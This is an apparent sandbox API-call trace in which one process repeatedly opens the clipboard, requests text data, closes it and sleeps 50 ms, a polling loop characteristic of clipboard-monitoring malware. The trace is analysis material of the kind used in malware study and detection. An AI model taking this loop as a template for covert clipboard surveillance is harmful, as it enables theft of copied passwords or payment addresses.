[0255.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf337bd9e, dwHighDateTime=0x1d96e12))
[0255.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.446] GetClipboardData (uFormat=0x1) returned 0x0
[0255.447] CloseClipboard () returned 1
[0255.447] Sleep (dwMilliseconds=0x32)
[0255.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf33a2002, dwHighDateTime=0x1d96e12))
[0255.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.461] GetClipboardData (uFormat=0x1) returned 0x0
[0255.461] CloseClipboard () returned 1
[0255.461] Sleep (dwMilliseconds=0x32)
[0255.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf33c8281, dwHighDateTime=0x1d96e12))
[0255.479] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.479] GetClipboardData (uFormat=0x1) returned 0x0
[0255.479] CloseClipboard () returned 1
[0255.479] Sleep (dwMilliseconds=0x32)
[0255.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf33ee4b1, dwHighDateTime=0x1d96e12))
[0255.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.493] GetClipboardData (uFormat=0x1) returned 0x0
[0255.493] CloseClipboard () returned 1
[0255.494] Sleep (dwMilliseconds=0x32)
[0255.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf341470a, dwHighDateTime=0x1d96e12))
[0255.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.507] GetClipboardData (uFormat=0x1) returned 0x0
[0255.508] CloseClipboard () returned 1
[0255.508] Sleep (dwMilliseconds=0x32)
[0255.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf343a961, dwHighDateTime=0x1d96e12))
[0255.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.523] GetClipboardData (uFormat=0x1) returned 0x0
[0255.523] CloseClipboard () returned 1
[0255.523] Sleep (dwMilliseconds=0x32)
[0255.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3460bc0, dwHighDateTime=0x1d96e12))
[0255.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.540] GetClipboardData (uFormat=0x1) returned 0x0
[0255.540] CloseClipboard () returned 1
[0255.540] Sleep (dwMilliseconds=0x32)
[0255.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3486e1d, dwHighDateTime=0x1d96e12))
[0255.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.554] GetClipboardData (uFormat=0x1) returned 0x0
[0255.554] CloseClipboard () returned 1
[0255.555] Sleep (dwMilliseconds=0x32)
[0255.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf34ad06e, dwHighDateTime=0x1d96e12))
[0255.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.571] GetClipboardData (uFormat=0x1) returned 0x0
[0255.571] CloseClipboard () returned 1
[0255.572] Sleep (dwMilliseconds=0x32)
[0255.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf34d32cb, dwHighDateTime=0x1d96e12))
[0255.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.586] GetClipboardData (uFormat=0x1) returned 0x0
[0255.586] CloseClipboard () returned 1
[0255.586] Sleep (dwMilliseconds=0x32)
[0255.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf34f9523, dwHighDateTime=0x1d96e12))
[0255.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.601] GetClipboardData (uFormat=0x1) returned 0x0
[0255.601] CloseClipboard () returned 1
[0255.601] Sleep (dwMilliseconds=0x32)
[0255.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf351f785, dwHighDateTime=0x1d96e12))
[0255.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.618] GetClipboardData (uFormat=0x1) returned 0x0
[0255.618] CloseClipboard () returned 1
[0255.619] Sleep (dwMilliseconds=0x32)
[0255.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf35459d8, dwHighDateTime=0x1d96e12))
[0255.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.632] GetClipboardData (uFormat=0x1) returned 0x0
[0255.633] CloseClipboard () returned 1
[0255.633] Sleep (dwMilliseconds=0x32)
[0255.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf356bc30, dwHighDateTime=0x1d96e12))
[0255.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.648] GetClipboardData (uFormat=0x1) returned 0x0
[0255.648] CloseClipboard () returned 1
[0255.648] Sleep (dwMilliseconds=0x32)
[0255.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3591e8b, dwHighDateTime=0x1d96e12))
[0255.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.671] GetClipboardData (uFormat=0x1) returned 0x0
[0255.671] CloseClipboard () returned 1
[0255.671] Sleep (dwMilliseconds=0x32)
[0255.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf35b80e7, dwHighDateTime=0x1d96e12))
[0255.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.679] GetClipboardData (uFormat=0x1) returned 0x0
[0255.679] CloseClipboard () returned 1
[0255.680] Sleep (dwMilliseconds=0x32)
[0255.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf35de340, dwHighDateTime=0x1d96e12))
[0255.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.697] GetClipboardData (uFormat=0x1) returned 0x0
[0255.697] CloseClipboard () returned 1
[0255.697] Sleep (dwMilliseconds=0x32)
[0255.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf360459c, dwHighDateTime=0x1d96e12))
[0255.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.711] GetClipboardData (uFormat=0x1) returned 0x0
[0255.711] CloseClipboard () returned 1
[0255.711] Sleep (dwMilliseconds=0x32)
[0255.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf362a7f3, dwHighDateTime=0x1d96e12))
[0255.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.726] GetClipboardData (uFormat=0x1) returned 0x0
[0255.726] CloseClipboard () returned 1
[0255.726] Sleep (dwMilliseconds=0x32)
[0255.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3650a47, dwHighDateTime=0x1d96e12))
[0255.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.743] GetClipboardData (uFormat=0x1) returned 0x0
[0255.743] CloseClipboard () returned 1
[0255.743] Sleep (dwMilliseconds=0x32)
[0255.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3676ca4, dwHighDateTime=0x1d96e12))
[0255.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.758] GetClipboardData (uFormat=0x1) returned 0x0
[0255.758] CloseClipboard () returned 1
[0255.758] Sleep (dwMilliseconds=0x32)
[0255.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf369cf00, dwHighDateTime=0x1d96e12))
[0255.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.773] GetClipboardData (uFormat=0x1) returned 0x0
[0255.773] CloseClipboard () returned 1
[0255.773] Sleep (dwMilliseconds=0x32)
[0255.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf36c315c, dwHighDateTime=0x1d96e12))
[0255.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.790] GetClipboardData (uFormat=0x1) returned 0x0
[0255.790] CloseClipboard () returned 1
[0255.790] Sleep (dwMilliseconds=0x32)
[0255.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf36e93b3, dwHighDateTime=0x1d96e12))
[0255.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.805] GetClipboardData (uFormat=0x1) returned 0x0
[0255.805] CloseClipboard () returned 1
[0255.805] Sleep (dwMilliseconds=0x32)
[0255.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf370f613, dwHighDateTime=0x1d96e12))
[0255.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.821] GetClipboardData (uFormat=0x1) returned 0x0
[0255.821] CloseClipboard () returned 1
[0255.822] Sleep (dwMilliseconds=0x32)
[0255.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf373586e, dwHighDateTime=0x1d96e12))
[0255.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.836] GetClipboardData (uFormat=0x1) returned 0x0
[0255.836] CloseClipboard () returned 1
[0255.836] Sleep (dwMilliseconds=0x32)
[0255.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf375bac0, dwHighDateTime=0x1d96e12))
[0255.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.851] GetClipboardData (uFormat=0x1) returned 0x0
[0255.851] CloseClipboard () returned 1
[0255.851] Sleep (dwMilliseconds=0x32)
[0255.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3781d1b, dwHighDateTime=0x1d96e12))
[0255.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.868] GetClipboardData (uFormat=0x1) returned 0x0
[0255.868] CloseClipboard () returned 1
[0255.868] Sleep (dwMilliseconds=0x32)
[0255.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf37a7f71, dwHighDateTime=0x1d96e12))
[0255.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.883] GetClipboardData (uFormat=0x1) returned 0x0
[0255.883] CloseClipboard () returned 1
[0255.883] Sleep (dwMilliseconds=0x32)
[0255.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf37ce1d2, dwHighDateTime=0x1d96e12))
[0255.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.898] GetClipboardData (uFormat=0x1) returned 0x0
[0255.898] CloseClipboard () returned 1
[0255.898] Sleep (dwMilliseconds=0x32)
[0255.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf37f4424, dwHighDateTime=0x1d96e12))
[0255.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.915] GetClipboardData (uFormat=0x1) returned 0x0
[0255.915] CloseClipboard () returned 1
[0255.915] Sleep (dwMilliseconds=0x32)
[0255.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf381a683, dwHighDateTime=0x1d96e12))
[0255.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.929] GetClipboardData (uFormat=0x1) returned 0x0
[0255.929] CloseClipboard () returned 1
[0255.929] Sleep (dwMilliseconds=0x32)
[0255.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf38408da, dwHighDateTime=0x1d96e12))
[0255.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.946] GetClipboardData (uFormat=0x1) returned 0x0
[0255.946] CloseClipboard () returned 1
[0255.947] Sleep (dwMilliseconds=0x32)
[0255.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3866b40, dwHighDateTime=0x1d96e12))
[0255.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.961] GetClipboardData (uFormat=0x1) returned 0x0
[0255.961] CloseClipboard () returned 1
[0255.961] Sleep (dwMilliseconds=0x32)
[0255.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf388cd9a, dwHighDateTime=0x1d96e12))
[0255.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.976] GetClipboardData (uFormat=0x1) returned 0x0
[0255.976] CloseClipboard () returned 1
[0255.976] Sleep (dwMilliseconds=0x32)
[0255.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf38b2fed, dwHighDateTime=0x1d96e12))
[0255.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.993] GetClipboardData (uFormat=0x1) returned 0x0
[0255.993] CloseClipboard () returned 1
[0255.993] Sleep (dwMilliseconds=0x32)
[0256.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf38d9244, dwHighDateTime=0x1d96e12))
[0256.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.008] GetClipboardData (uFormat=0x1) returned 0x0
[0256.008] CloseClipboard () returned 1
[0256.008] Sleep (dwMilliseconds=0x32)
[0256.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf38ff4a5, dwHighDateTime=0x1d96e12))
[0256.029] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.029] GetClipboardData (uFormat=0x1) returned 0x0
[0256.029] CloseClipboard () returned 1
[0256.029] Sleep (dwMilliseconds=0x32)
[0256.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3925707, dwHighDateTime=0x1d96e12))
[0256.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.040] GetClipboardData (uFormat=0x1) returned 0x0
[0256.040] CloseClipboard () returned 1
[0256.040] Sleep (dwMilliseconds=0x32)
[0256.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf394b953, dwHighDateTime=0x1d96e12))
[0256.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.055] GetClipboardData (uFormat=0x1) returned 0x0
[0256.055] CloseClipboard () returned 1
[0256.055] Sleep (dwMilliseconds=0x32)
[0256.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3971bac, dwHighDateTime=0x1d96e12))
[0256.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.071] GetClipboardData (uFormat=0x1) returned 0x0
[0256.071] CloseClipboard () returned 1
[0256.072] Sleep (dwMilliseconds=0x32)
[0256.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3997e17, dwHighDateTime=0x1d96e12))
[0256.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.086] GetClipboardData (uFormat=0x1) returned 0x0
[0256.086] CloseClipboard () returned 1
[0256.086] Sleep (dwMilliseconds=0x32)
[0256.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf39be064, dwHighDateTime=0x1d96e12))
[0256.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.101] GetClipboardData (uFormat=0x1) returned 0x0
[0256.101] CloseClipboard () returned 1
[0256.101] Sleep (dwMilliseconds=0x32)
[0256.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf39e42b6, dwHighDateTime=0x1d96e12))
[0256.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.118] GetClipboardData (uFormat=0x1) returned 0x0
[0256.118] CloseClipboard () returned 1
[0256.118] Sleep (dwMilliseconds=0x32)
[0256.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3a0a517, dwHighDateTime=0x1d96e12))
[0256.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.133] GetClipboardData (uFormat=0x1) returned 0x0
[0256.133] CloseClipboard () returned 1
[0256.133] Sleep (dwMilliseconds=0x32)
[0256.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3a30783, dwHighDateTime=0x1d96e12))
[0256.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.148] GetClipboardData (uFormat=0x1) returned 0x0
[0256.148] CloseClipboard () returned 1
[0256.148] Sleep (dwMilliseconds=0x32)
[0256.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3a56999, dwHighDateTime=0x1d96e12))
[0256.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.165] GetClipboardData (uFormat=0x1) returned 0x0
[0256.165] CloseClipboard () returned 1
[0256.165] Sleep (dwMilliseconds=0x32)
[0256.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3a7cc25, dwHighDateTime=0x1d96e12))
[0256.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.179] GetClipboardData (uFormat=0x1) returned 0x0
[0256.179] CloseClipboard () returned 1
[0256.180] Sleep (dwMilliseconds=0x32)
[0256.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3aa2e80, dwHighDateTime=0x1d96e12))
[0256.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.196] GetClipboardData (uFormat=0x1) returned 0x0
[0256.196] CloseClipboard () returned 1
[0256.196] Sleep (dwMilliseconds=0x32)
[0256.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3ac90ec, dwHighDateTime=0x1d96e12))
[0256.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.211] GetClipboardData (uFormat=0x1) returned 0x0
[0256.211] CloseClipboard () returned 1
[0256.211] Sleep (dwMilliseconds=0x32)
[0256.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3aef341, dwHighDateTime=0x1d96e12))
[0256.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.226] GetClipboardData (uFormat=0x1) returned 0x0
[0256.226] CloseClipboard () returned 1
[0256.226] Sleep (dwMilliseconds=0x32)
[0256.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3b1558b, dwHighDateTime=0x1d96e12))
[0256.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.243] GetClipboardData (uFormat=0x1) returned 0x0
[0256.244] CloseClipboard () returned 1
[0256.244] Sleep (dwMilliseconds=0x32)
[0256.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3b3b7ea, dwHighDateTime=0x1d96e12))
[0256.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.258] GetClipboardData (uFormat=0x1) returned 0x0
[0256.258] CloseClipboard () returned 1
[0256.258] Sleep (dwMilliseconds=0x32)
[0256.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3b61a45, dwHighDateTime=0x1d96e12))
[0256.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.273] GetClipboardData (uFormat=0x1) returned 0x0
[0256.273] CloseClipboard () returned 1
[0256.273] Sleep (dwMilliseconds=0x32)
[0256.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3b87c9c, dwHighDateTime=0x1d96e12))
[0256.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.290] GetClipboardData (uFormat=0x1) returned 0x0
[0256.290] CloseClipboard () returned 1
[0256.290] Sleep (dwMilliseconds=0x32)
[0256.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3badeef, dwHighDateTime=0x1d96e12))
[0256.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.304] GetClipboardData (uFormat=0x1) returned 0x0
[0256.304] CloseClipboard () returned 1
[0256.305] Sleep (dwMilliseconds=0x32)
[0256.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3bd4185, dwHighDateTime=0x1d96e12))
[0256.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.321] GetClipboardData (uFormat=0x1) returned 0x0
[0256.321] CloseClipboard () returned 1
[0256.322] Sleep (dwMilliseconds=0x32)
[0256.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3bfa3b0, dwHighDateTime=0x1d96e12))
[0256.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.336] GetClipboardData (uFormat=0x1) returned 0x0
[0256.336] CloseClipboard () returned 1
[0256.336] Sleep (dwMilliseconds=0x32)
[0256.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3c2060c, dwHighDateTime=0x1d96e12))
[0256.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.351] GetClipboardData (uFormat=0x1) returned 0x0
[0256.351] CloseClipboard () returned 1
[0256.352] Sleep (dwMilliseconds=0x32)
[0256.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3c46862, dwHighDateTime=0x1d96e12))
[0256.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.368] GetClipboardData (uFormat=0x1) returned 0x0
[0256.368] CloseClipboard () returned 1
[0256.368] Sleep (dwMilliseconds=0x32)
[0256.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3c6cac3, dwHighDateTime=0x1d96e12))
[0256.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.382] GetClipboardData (uFormat=0x1) returned 0x0
[0256.383] CloseClipboard () returned 1
[0256.383] Sleep (dwMilliseconds=0x32)
[0256.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3c92d19, dwHighDateTime=0x1d96e12))
[0256.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.398] GetClipboardData (uFormat=0x1) returned 0x0
[0256.398] CloseClipboard () returned 1
[0256.398] Sleep (dwMilliseconds=0x32)
[0256.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3cb8f73, dwHighDateTime=0x1d96e12))
[0256.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.415] GetClipboardData (uFormat=0x1) returned 0x0
[0256.415] CloseClipboard () returned 1
[0256.415] Sleep (dwMilliseconds=0x32)
[0256.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3cdf1c6, dwHighDateTime=0x1d96e12))
[0256.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.433] GetClipboardData (uFormat=0x1) returned 0x0
[0256.433] CloseClipboard () returned 1
[0256.433] Sleep (dwMilliseconds=0x32)
[0256.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3d05425, dwHighDateTime=0x1d96e12))
[0256.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.446] GetClipboardData (uFormat=0x1) returned 0x0
[0256.446] CloseClipboard () returned 1
[0256.446] Sleep (dwMilliseconds=0x32)
[0256.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3d2b681, dwHighDateTime=0x1d96e12))
[0256.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.461] GetClipboardData (uFormat=0x1) returned 0x0
[0256.461] CloseClipboard () returned 1
[0256.461] Sleep (dwMilliseconds=0x32)
[0256.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3d5192c, dwHighDateTime=0x1d96e12))
[0256.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.476] GetClipboardData (uFormat=0x1) returned 0x0
[0256.476] CloseClipboard () returned 1
[0256.476] Sleep (dwMilliseconds=0x32)
[0256.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3d77b33, dwHighDateTime=0x1d96e12))
[0256.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.493] GetClipboardData (uFormat=0x1) returned 0x0
[0256.493] CloseClipboard () returned 1
[0256.493] Sleep (dwMilliseconds=0x32)
[0256.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3d9dd8b, dwHighDateTime=0x1d96e12))
[0256.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.507] GetClipboardData (uFormat=0x1) returned 0x0
[0256.508] CloseClipboard () returned 1
[0256.508] Sleep (dwMilliseconds=0x32)
[0256.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3dc3fe7, dwHighDateTime=0x1d96e12))
[0256.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.523] GetClipboardData (uFormat=0x1) returned 0x0
[0256.523] CloseClipboard () returned 1
[0256.523] Sleep (dwMilliseconds=0x32)
[0256.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3dea241, dwHighDateTime=0x1d96e12))
